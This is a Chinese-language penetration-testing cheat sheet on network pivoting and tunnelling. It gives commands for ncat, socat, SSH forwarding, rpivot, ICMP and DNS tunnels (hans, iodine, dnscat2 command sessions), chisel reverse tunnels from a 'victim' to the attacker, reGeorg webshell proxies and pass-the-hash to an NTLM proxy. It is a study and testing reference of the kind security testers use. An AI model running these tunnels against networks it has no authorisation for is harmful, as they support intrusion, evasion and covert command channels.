Basic Pivoting Types

Type Use Case
Listen – Listen Exposed asset, may not want to connect out.
Listen – Connect Normal redirect.
Connect – Connect Can’t bind, so connect to bridge two hosts

Listen – Listen

Type Use Case
ncat ncat -v -l -p 8080 -c “ncat -v -l -p 9090”
socat socat -v tcp-listen:8080 tcp-listen:9090
remote host 1 ncat localhost 8080 < file
remote host 2 ncat localhost 9090 > newfile

Listen – Connect

Type Use Case
ncat ncat -l -v -p 8080 -c “ncat localhost 9090”
socat socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090
remote host 1 ncat localhost -p 8080 < file
remote host 2 ncat -l -p 9090 > newfile

Connect – Connect

Type Use Case
ncat ncat localhost 8080 -c “ncat localhost 9090”
socat socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090
remote host 1 ncat -l -p 8080 < file
remote host 2 ncat -l -p 9090 > newfile

Ncat

proxy

在远程主机上建立代理服务器

  1. ncat -l PORT --proxy-type http
  2. # HTTPS
  3. ncat --proxy-type http -lvp 7878 --ssl
  4. --proxy-auth <user>:<password>
  5. --allow Allow only given hosts to connect to Ncat
  6. --allowfile A file of hosts allowed to connect to Ncat
  7. --deny Deny given hosts from connecting to Ncat
  8. --denyfile A file of hosts denied from connecting to Ncat

使用nohup 后运行

  1. nohup YOUR COMMAND &

检查

  1. #!/bin/bash
  2. test=`ps -A -f`;
  3. if [[ -z "`echo $test | grep -E 'ncat'`" ]]; then
  4. nohup ncat --allow IP -l PORT --proxy-type http &
  5. fi

编辑 /etc/proxychains.conf

  1. http SERVER_IP 7878

如果nmap 出现nmap: netutil.cc:1379: int collect_dnet_interfaces(const intf_entry, void): Assertion `rc == 0’ failed.
注释掉/etc/proxychains.conf 中的proxy_dns

使用proxychains4扫描

  1. proxychains4 nmap -sn 192.168.0.50/24 2>&1 | grep 'OK'

portfwd

SSH

缺点:

  1. 您需要 SSH 的凭据(不一定是超级用户 – 任何)

优点:

  1. 一般都有ssh
  2. ssh加密

    proxy

-w

-W host:port
Requests that standard input and output on the client be forwarded to host on port over the secure channel. Implies -N, -T, ExitOnForwardFailure and ClearAllForwardings, though these can be overridden in the configuration file or using -o command line options.
-w local_tun[:remote_tun]
Requests tunnel device forwarding with the specified tun(4) devices between the client (local_tun) and the server (remote_tun).

-W 主机:端口
请求将客户端上的标准输入和输出通过安全通道转发到端口上的主机。隐含 -N、-T、ExitOnForwardFailure 和 ClearAllForwardings,尽管这些可以在配置文件中覆盖或使用 -o 命令行选项。
-w local_tun[:remote_tun]
使用客户端 (local_tun) 和服务器 (remote_tun) 之间的指定 tun(4) 设备请求隧道设备转发。

ssh 包含对使用 tun(4) 网络伪设备的虚拟专用网络 (VPN) 隧道的支持,允许安全地加入两个网络。 sshd_config(5) 配置选项 PermitTunnel 控制服务器是否支持此功能,以及在什么级别(第 2 层或第 3 层流量)。
以下示例将使用从 10.1.1.1 到 10.1.1.2 的点对点连接将客户端网络 10.0.50.0/24 与远程网络 10.0.99.0/24 连接,前提是运行在网关上的 SSH 服务器到远程网络,在 192.168.1.15,允许它。

  1. On the client:
  2. # ssh -f -w 0:1 192.168.1.15 true
  3. # ifconfig tun0 10.1.1.1 10.1.1.2 netmask 255.255.255.252
  4. # route add 10.0.99.0/24 10.1.1.2
  5. On the server:
  6. # ifconfig tun1 10.1.1.2 10.1.1.1 netmask 255.255.255.252
  7. # route add 10.0.50.0/24 10.1.1.1

客户端访问可以通过 /root/.ssh/authorized_keys 文件(见下文)和 PermitRootLogin 服务器选项进行更精细的调整。如果 PermitRootLogin 设置为“forced-commands-only”,则以下条目将允许来自用户“jane”的 tun(4) 设备 1 和来自用户“john”的 tun 设备 2 上的连接:

  1. tunnel="1",command="sh /etc/netstart tun1" ssh-rsa ... jane
  2. tunnel="2",command="sh /etc/netstart tun2" ssh-rsa ... john

由于基于 SSH 的设置需要相当多的开销,因此它可能更适合临时设置,例如无线 VPN。 ipsecctl(8) 和 isakmpd(8) 等工具可以更好地提供更永久的 VPN。

-D

在本地创建socks服务器

  1. ssh username@host -D 1080
  2. //-D 会在本地主机创建socks服务器

我使用我的服务器做一个示范,其IP地址为185.117.153.79,我选择15555作为socks5服务器监听端口,然后命令将是:

  1. ssh root@185.117.153.79 -D 15555

服务器 185.117.153.79 上并不侦听端口 15555。端口是绑定到我本地主机上的,它支持两种代理SOCKS4和SOCKS5。我们使用curl 来访问远程主机上的web服务

  1. curl --socks5 localhost:15555 localhost

这里使用“localhost”两次 - 但这些是完全不同的localhost!!!
—socks5 localhost:15555 是连接到使用 ssh 创建的代理的选项。当请求到达此代理时,它将通过 ssh 隧道发送到已连接到 ssh 的远程主机。
localhost:80 上向此远程主机发出了 curl 请求(默认情况下是端口 80)。因此,使用 curl 发出的请求被发送到远程计算机的本地 Web 服务器。

从 openssh 4.3 版开始,可以通过已建立的 ssh 通道传输第 3 层网络流量。与典型的 tcp 隧道相比,这具有优势,因为您可以控制 IP 流量。因此,例如,您可以使用 nmap 执行 SYN 扫描并直接使用您的工具,而无需借助代理链或其他代理工具。
它是通过在客户端和服务器端创建 tun 设备并通过 ssh 连接在它们之间传输数据来完成的。这很简单,但是您需要在两台机器上都拥有 root 权限,因为创建 tun 设备是一项特权操作。
编辑/etc/ssh/sshd_config 文件:

  1. PermitRootLogin yes
  2. PermitTunnel yes

客户端上的以下命令将在客户端和服务器上创建一对 tun 设备:

  1. ssh username@server -w any:any

标志 -w 接受每侧 tun 设备的数量,用冒号分隔。它可以显式设置 - -w 0:0 或者您可以使用 -w any:any来获取一个可用的 tun 设备。
tun 设备之间的隧道已启用,但尚未配置接口。配置客户端示例:

  1. client
  2. ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
  3. server_side
  4. ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

在服务器上启用 ip 转发和 NAT:

  1. echo 1 > /proc/sys/net/ipv4/ip_forward
  2. iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

现在您可以将对等主机 1.1.1.1 作为默认网关或通过它路由特定主机/网络:

  1. route add -net 10.0.0.0/16 gw 1.1.1.1

本例中服务器的外网接口为eth0,两边新创建的tun设备为tun0。

portfwd

-R

  1. HostA 将自己可以访问的 HostB:PortB 暴露给外网服务器 HostC:PortC,在 HostA 上运行:
  2. ssh -R HostC:PortC:HostB:PortB user@HostC

那么链接 HostC:PortC 就相当于链接 HostB:PortB。使用时需修改 HostC 的 /etc/ssh/sshd_config,添加:

  1. GatewayPorts yes

相当于内网穿透,比如 HostA 和 HostB 是同一个内网下的两台可以互相访问的机器,HostC是外网跳板机,HostC不能访问 HostA,但是 HostA 可以访问 HostC。
那么通过在内网 HostA 上运行 ssh -R 告诉 HostC,创建 PortC 端口监听,把该端口所有数据转发给我(HostA),我会再转发给同一个内网下的 HostB:PortB。
同内网下的 HostA/HostB 也可以是同一台机器,换句话说就是内网 HostA 把自己可以访问的端口暴露给了外网 HostC。

-L

ssh也可以将一个特定端口重定向到特定主机。假设您需要访问主机 192.168.1.1 上内部网络上的 SMB 资源。

  1. ssh username@host -L 445:192.168.1.1:445

在攻击者的计算机上对 445端口进行转发。即使没有代理支持,程序也将能够使用远程本地资源。在这些程序中,您需要指定 localhost 或 IP 地址 127.0.0.1 作为连接主机。请记住,在本地计算机上侦听特权端口(数字低于 1024)需要 root 权限;但是没有必要选择与远程计算机上相同的端口号,也就是说,如果没有超级用户的权限,则可以执行以下操作,把较低端口转发到高位端口:

  1. ssh username@host -L 11445:192.168.1.1:445

比如:

  1. ssh -L 10080:localhost:80 root@185.117.153.79

攻击者访问本地计算机的端口 10080 上发出的所有请求都将发送到计算机 185.117.153.79 的端口 80。

Tor

proxy

编辑 /etc/tor/torrc 添加:

  1. SOCKSPort EXTERNAL_IP:9050
  2. //比如
  3. SOCKSPort 192.168.1.39:9050

开启服务

  1. sudo systemctl start tor
  2. sudo systemctl enable tor
  3. ///vpn连接
  4. sudo openvpn --config client5.ovpn --socks-proxy 192.168.1.39 9050

3proxy

proxy

在这里获取 - https://github.com/z3APA3A/3proxy/releases。该工具适用于多个平台。有适用于 Windows 的预构建二进制文件。至于 Linux,您需要自己构建它,只需 ./configure && make :) 这个工具是代理世界中的瑞士军刀,因此它具有大量功能。我通常将它用作 socks 代理或端口转发器。
该工具从配置文件中获取所有选项。要运行它:

  1. 3proxy.exe config_file
  2. or if you are on a Linux system:
  3. ./3proxy config_file

要将端口 1080 作为 socks5 代理运行,请在配置中添加以下行:

  1. socks -p 1080

portfwd

配置文件

  1. tcppm <localport> <targethost> <targetport>

配合ssh 反向端口转发+proxy

在目标服务器上使用以下配置运行 3proxy 服务:

  1. socks -p31337

在接收端(攻击者的机器)创建一个单独的用户。

  1. adduser sshproxy

这个用户必须是低权限的,不应该有 shell 权限。毕竟,你不想被反向渗透测试,是吗? :) 编辑 /etc/passwd 并将 shell 切换到 /bin/false。它应该看起来像:

  1. root:x:0:0:root:/root:/bin/bash
  2. ...
  3. sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
  4. ...

现在使用带有 -R 标志的新创建的用户连接到您的服务器。 Linux系统:

  1. ssh sshproxy@your_server -R 31337:127.0.0.1:31337

对于 Windows,您需要先上传 plink.exe。这是putty的控制台版本。要运行它:

  1. plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337

-R 标志允许您在服务器端绑定端口。到此端口的所有连接都将中继到客户端上的指定端口。这样我们就可以在客户端(被入侵的机器)上运行 3proxy socks 服务,并通过 ssh -R 标志访问攻击者主机上的这个端口。

Rpivot

proxy

Rpivot 是一个反向 socks 代理工具,可让您通过 socks 代理隧道传输流量。它连接回您的机器并在其上绑定一个 socks 代理。它的工作方式与 ssh -D 类似,但方向相反。服务器端:

  1. python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Client side

  1. python client.py --server-ip <ip> --server-port 9999

因此,socks4 代理服务将绑定到服务器端的 1080 端口。

tgcd

tgcd 是一个简单的 Unix 网络实用程序,用于将基于 TCP/IP 的网络服务的可访问性扩展到防火墙之外。网络分析师和安全专家也可以使用它进行渗透测试和分析其网络的安全性。

该程序有 3 种不同的模式:

  • CC(连接连接)
  • LL(听听)
  • PF(端口转发器)

CC 和 LL 节点一起用于向外部网络提供对局域网内部服务的访问。然而,PF 节点只是一个简单的端口转发器。

on attacker(不支持 VPN):

  1. tgcd -L -p 9090 -q 4000 [-e tap0] -n -g 10

on target

  1. tgcd -C -s $IP:8080 -c $ATTACKER:4000 -n -g 10

hans

proxy

ICMP 代理
http://code.gerade.org/hans/
服务器端命令(攻击者的机器):

  1. ./hans -v -f -s 1.1.1.1 -p P@ssw0rd

-v 标志用于详细程度,-f 标志用于在前台运行,-s 标志的值是新创建的 tun 接口上的服务器 ip。

客户端:

  1. ./hans -f -c <server_ip> -p P@ssw0rd -v

成功连接后,客户端应在 1.1.1.100 直接可见:

  1. # ping 1.1.1.100
  2. PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
  3. 64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms

现在您可以使用这台机器作为进入内部网络的大门。将此机器用作默认网关或连接到管理界面(ssh/tsh/web shell)。

它还支持通过 NTLM HTTP 代理连接到外部世界。服务器端命令保持不变,使用客户端命令如下:

  1. python client.py --server-ip <rpivot_server_ip> --server-port 9999\
  2. --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
  3. --username Alice --password P@ssw0rd

如果您有 LM:NT 哈希而不是密码:

  1. python client.py --server-ip <rpivot_server_ip>\
  2. --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
  3. --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

iodine

proxy

如果任何 WAN 流量被阻止但外部主机名被解析,则有可能通过 DNS 查询隧道流量。您需要注册一个域才能使用此技术。 This manual 可能会帮助您设置DNS服务器
如果发生这种情况,您在服务器上获得了 root 访问权限,您可以尝试使用 iodine。它的工作原理几乎与 hans icmp 隧道工具一样——它创建一对 tun 适配器并在它们之间作为 DNS 查询传输数据。服务器端:

  1. iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com

client side

  1. iodine -f -P P@ssw0rd tunneldomain.com -r

成功的连接将在地址 1.1.1.2 产生直接的客户端可见性。请注意,这种隧道技术非常缓慢。最好的办法是在生成的连接上使用压缩的 ssh 连接:

  1. ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

Dnscat2

Dnscat2 通过递归 DNS 查询建立 C&C 通道。此工具不需要 root/管理员访问权限(适用于 windows 和 linux)。它还支持端口转发。

proxy

Server side:

  1. ruby ./dnscat2.rb tunneldomain.com

Client side

  1. ./dnscat2 tunneldomain.com

收到服务器端的连接后,您可以使用 windows 命令查看活动会话:

  1. dnscat2> windows
  2. 0 :: main [active]
  3. dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  4. 1 :: command session (debian)
  5. 2 :: sh (debian) [*]

portfwd

要启动端口转发,请使用 session -i 选择命令会话:

  1. dnscat2> session -i 1
  2. New window created: 1
  3. New window created: 1
  4. history_size (session) => 1000
  5. This is a command session!
  6. That means you can enter a dnscat2 command such as
  7. 'ping'! For a full list of clients, try 'help'.
  8. command session (debian) 1>
  1. 使用listen [lhost:]lport rhost:rport 命令转发端口:
  2. command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

这将绑定攻击者机器上的 8080 端口,并将所有连接转发到 10.0.0.20:80。

Cntlm

Cntlm 是在 NTLM 代理上运行任何非代理感知程序的首选工具。基本上,此工具针对代理进行身份验证并在本地绑定一个端口,该端口被转发到您指定的外部服务。此端口绑定不需要任何身份验证,因此您可以直接使用您的工具(例如 putty/ssh)。它使用配置文件进行操作。这是转发端口 443 的准系统配置示例(该端口最有可能通过代理被允许):

  1. Username Alice
  2. Password P@ssw0rd
  3. Domain CONTOSO.COM
  4. Proxy 10.0.0.10:8080
  5. Tunnel 2222:<attackers_machine>:443

运行

  1. cntlm.exe -c config.conf

现在,假设您在远程主机的 443 端口上运行 ssh,您可以启动 ssh 客户端(openssh/putty)并连接到本地端口 2222 以访问外部机器。

ssf

on attacker

  1. ssf -D 22222 -p 11111 $TARGET_IP

on target

  1. ssfd -p 11111

sshuttle

  • 不需要管理员。
  • 适用于 Linux 和 macOS。
  • 支持 DNS 隧道。
  1. pacman -Sy sshuttle
  2. apt-get install sshuttle
  3. sshuttle -vvr sean@10.11.1.251 10.1.1.0/24
  4. sshuttle -vvr username@pivot_host 10.2.2.0/24
  5. sshuttle -r pivotmachine@192.168.10.5 192.168.30.0/24 -x targetip
  6. //-x 防止ip冲突

pwncat

https://github.com/cytopia/pwncat
pwncat 是一个基于powershell的 netcat,主要用于反向和绑定 shell。
尽管如此,它也可以用于以类似于 ssh 的语法进行转发

本地端口转发(将远程端口 3306 转发到本地端口 5050):

  1. pwncat -L 0.0.0.0:5050 example.org 3306

连接到远程 MySQL 服务器(远程端口 3306),然后连接到 10.0.0.1:4444 上的另一个 pwncat/netcat 服务器并桥接流量:

  1. pwncat -R 10.0.0.1:4444 example.org 3306

socat

要运行 socat 并将流量从您的 Internet 节点 IP 112.72.6.1 端口 808 转发到远程节点 62.41.90.2 端口 443,请运行以下命令:

  1. socat TCP4-LISTEN:808,fork TCP4:62.41.90.2:443

要将来自 Internet 节点的流量从端口 9090 转发到远程节点 62.41.90.2 端口 22,并将流量从端口 81 转发到 ftp.microsft.com 上的端口 21,请运行以下命令:

  1. socat TCP4-LISTEN:9090,fork TCP4:62.41.90.2:22|socat TCP4-LISTEN:81,fork T CP4:ftp.microsft.com:21

ligolo-ng

Chisel

  1. go get -v github.com/jpillora/chisel
  2. # forward port 389 and 88 to hacker computer
  3. user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
  4. user@hacker$ /opt/chisel/chisel server -p 8008 --reverse

Windows Netsh

  1. netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
  2. netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
  • listenaddress – 是等待连接的本地 IP 地址。
  • listenport – 本地侦听 TCP 端口(连接在其上等待)。
  • connectaddress – 是将传入连接重定向到的本地或远程 IP 地址(或 DNS 名称)。
  • connectport – 是一个 TCP 端口,来自 listenport 的连接被转发到该端口。

    reGeorg

    reGeorg,reDuh 的继任者,拥有一个堡垒网络服务器并通过 DMZ 创建 SOCKS 代理。转发和 pwn。

在服务器上下载以下文件之一:

  • tunnel.ashx
  • tunnel.aspx
  • tunnel.js
  • tunnel.jsp
  • tunnel.nosocket.php
  • tunnel.php
  • tunnel.tomcat.5.jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080

optional arguments: -h, —help show this help message and exit -l , —listen-on The default listening address -p , —listen-port The default listening port -r , —read-buff Local read buffer, max data to be sent per POST -u , —url The url containing the tunnel script -v , —verbose Verbose output[INFO|DEBUG]

  1. <a name="jVIbx"></a>
  2. ## Tunna
  3. <a name="DmIZe"></a>
  4. # ngrok
  5. ```bash
  6. # get the binary
  7. wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
  8. unzip ngrok-stable-linux-amd64.zip
  9. # log into the service
  10. ./ngrok authtoken 3U[REDACTED_TOKEN]Hm
  11. # deploy a port forwarding for 4433
  12. ./ngrok http 4433
  13. ./ngrok tcp 4433

FTP

Telnet

SSL

proxychains

sslh

stunnel4

tinyproxy

rinetd

Hyper-V 服务器中的端口转发

在您的计算机上使用 Hyper-V 角色时(它可以安装在 Windows 10 和 Windows Server 上,或者作为免费的 Hyper-V 服务器),您可以使用 PowerShell 配置 DNAT 端口转发规则。假设您要将 Hyper-V 主机接收到的所有 https 流量重定向到主机上运行的虚拟机的 IP 地址。为此,请使用 Hyper-V StaticMapping 命令。

首先,您需要使用 NAT 创建一个虚拟交换机:

  1. New-VMSwitch -Name "HTTPS-NAT" -SwitchType NAT -NATSubnetAddress 192.168.100.0/24

然后您需要将必要的 VM 连接到指定的 vswitch,并为通过此 Hyper-V 虚拟交换机连接的所有虚拟机启用地址转换规则:

  1. New-NetNat -Name HTTPS-NAT -InternalIPInterfaceAddressPrefix 192.168.100.0/24
  2. Add-NetNatStaticMapping -ExternalIPAddress "0.0.0.0/24" -ExternalPort 443 -Protocol TCP -InternalIPAddress "192.168.100.77" -InternalPort 443 -NatName HTTPS-NAT

执行这些 PowerShell 命令后,所有到达 Hyper-V 主机端口 443 的 HTTPS 流量都将转发到虚拟机的私有 IP 地址。